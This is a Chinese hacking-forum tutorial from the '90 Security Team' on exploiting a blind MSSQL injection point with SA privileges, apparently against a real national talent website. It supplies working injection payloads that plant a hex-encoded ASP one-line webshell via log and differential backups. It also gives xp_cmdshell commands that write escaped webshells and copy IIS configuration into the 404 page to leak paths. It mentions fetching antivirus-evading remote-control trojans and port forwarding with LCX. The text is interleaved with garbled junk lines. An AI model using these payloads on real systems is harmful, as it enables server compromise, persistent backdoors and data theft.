sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————


                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
' F- o6 Q: M: i  O/ }$ |
$ v. G$ t# ^& t8 F# t1 D                                                                 
                                                                 
. K8 [& J2 E+ N6 E4 S" |                                                                  论坛： http://www.90team.net/


) M" O0 i  X/ N9 {
友情检测国家人才网
3 H' d  ^/ M, q' Y6 @

3 w2 E+ z( w+ p6 z9 {内容：MSSQL注入SA权限不显错模式下的入侵
/ w5 O9 L# o# c3 Z& W! n( m; `0 F

) Y, t; V! h3 C. l. i! i8 a6 ~一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。

我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。
$ s6 S& B* M0 Z/ K+ N2 {( z5 n
4 u* M# p- E$ R% I
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
6 R) T$ X" ^- e! E! l! M" _+ n3 b
' n1 n9 j; G+ q- A思路：
# }+ j3 n" O2 Z4 i% m
- F% y; e9 l! x' ~首先：
' u& J5 Q) u7 p9 q( H) _' Q, O$ j
& P; T% }3 q0 O; G通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
6 Y' ^8 p3 l: s5 R6 d. I
1.日志备份获得Webshell
" K  F- z. V+ ^& r( w# y# f! J
  I7 `, T* L& x/ p+ X% ]$ ^+ G3 C2.数据库差异备份获得Webshell
# e5 J# i. G' I. ]. x6 I( r1 H
4.直接下载免杀远控木马。
4 A0 x! K( F" l' t6 X5 R3 l( `
: M1 o! [4 f0 h$ N( A7 r- k5.直接下载LCX将服务器端口转发出来

6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。
  r' R" E" r) U% b% a- \0 r2 {

0 L; B0 r$ e( J& K
2 W8 w6 H# Y5 S( V在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，

  K$ Y: I0 e) N& J4 Q6 Y我直接演示后面一个方法
9 c+ i$ J. \  |1 b! p& B: I7 I" O4 c8 I
( o. z+ `; f/ q* _
) A# _* L% D7 [5 ]' p2 k2 n分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL
. w3 E, F( {6 g. c) E

% q. E+ P3 n' L9 }
; _+ x5 T; o1 d! `0 z7 d6 J
◆日志备份：
% ^5 O# {. l/ t, [6 U5 c

1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--

: N0 P0 V' d. j4 ?1 V/ i( n4 \2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
# B3 Q5 m7 M# s1 U) P. z9 m- m9 K  ~
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
+ b; C5 A' d% H" D  
3. 备份并获得文件，删除临时表
;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--
4 D. s4 A" E0 A5 q* O) m9 N( Y


◆数据库差异备份
1 M/ j4 o- `. i; I: V0 M8 ^9 Z
  ~, Z* A# ]2 ~% t9 [' p' S! }& _（1. 进行差异备份准备工作

' e" s, w4 C: Q- O- y3 b;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
( S) U% Z- k% `7 y- o  x
) w* R: Y6 h! N1 |/ V上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码


（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
/ J, _) @* a' Y! H4 d# R# Y
* c) d6 j  X0 W0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
$ B% L& K( \' @5 c1 D1 H5 o: g
3. 备份数据库并清理临时文件

/ j' W' D! k7 f;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件


. w2 E: p2 ?. c& A6 I' j
用^转义字符来写ASP(一句话木马)文件的方法:   
8 ^9 j8 a( h+ R' }; z; x
1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
' h1 w7 f$ u+ D  X- C8 i- s) {) Q) t
  Z$ y6 n4 }) x1 I/ M2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

  N4 K- ^) ]% r# H4 g4 B# S读取IIS配置信息获取web路径
) ?7 Q, d, c4 M/ ~/ ]
     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

' j. b0 S9 A! Q& K执行命令
/ ^+ i2 D- |! s     
" a! q. L5 w# w7 Q0 ~2 `, M- E- ]. R     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--

9 [4 Q8 _; E7 m' d

$ T3 l1 B1 _+ L/ e

6 s5 K7 s2 l* n, o$ g& y: o+ v  p; }( K
$ X# d) `* G% G4 V5 x0 N9 ?

  M5 y: J/ w1 b3 @: a. O( w+ F/ m& R





: A* i$ H* a2 t, f0 |
# Z; B9 z; n9 Z0 H% r) `' B


5 s3 B9 ~. N- E- g! O0 B( ]- O



2 m, @- O; v2 H3 k: z
( @9 D8 w! \8 x2 ?1 }



. R" r- `: u& ~+ w" ?
* `- [8 C+ N3 W' L" ^; M% X6 s
9 y9 n! s" [; o

0 X+ R0 B* ?( U- g

& |( r% S, {- f! i
; j( W% s3 k! B; M$ d9 m) ]4 b
; X4 I" G4 w% ~5 u1 n
. `( O& n( X: C; m7 s, q




7 ]. \& m4 m6 G0 `  O& }6 l

1 k5 u6 w" p. _& I  X# z
- Q, q" d* U" o; @% G! N


! O$ n% G6 R3 z- F" t. x0 w
1 M& R. G6 e5 c2 {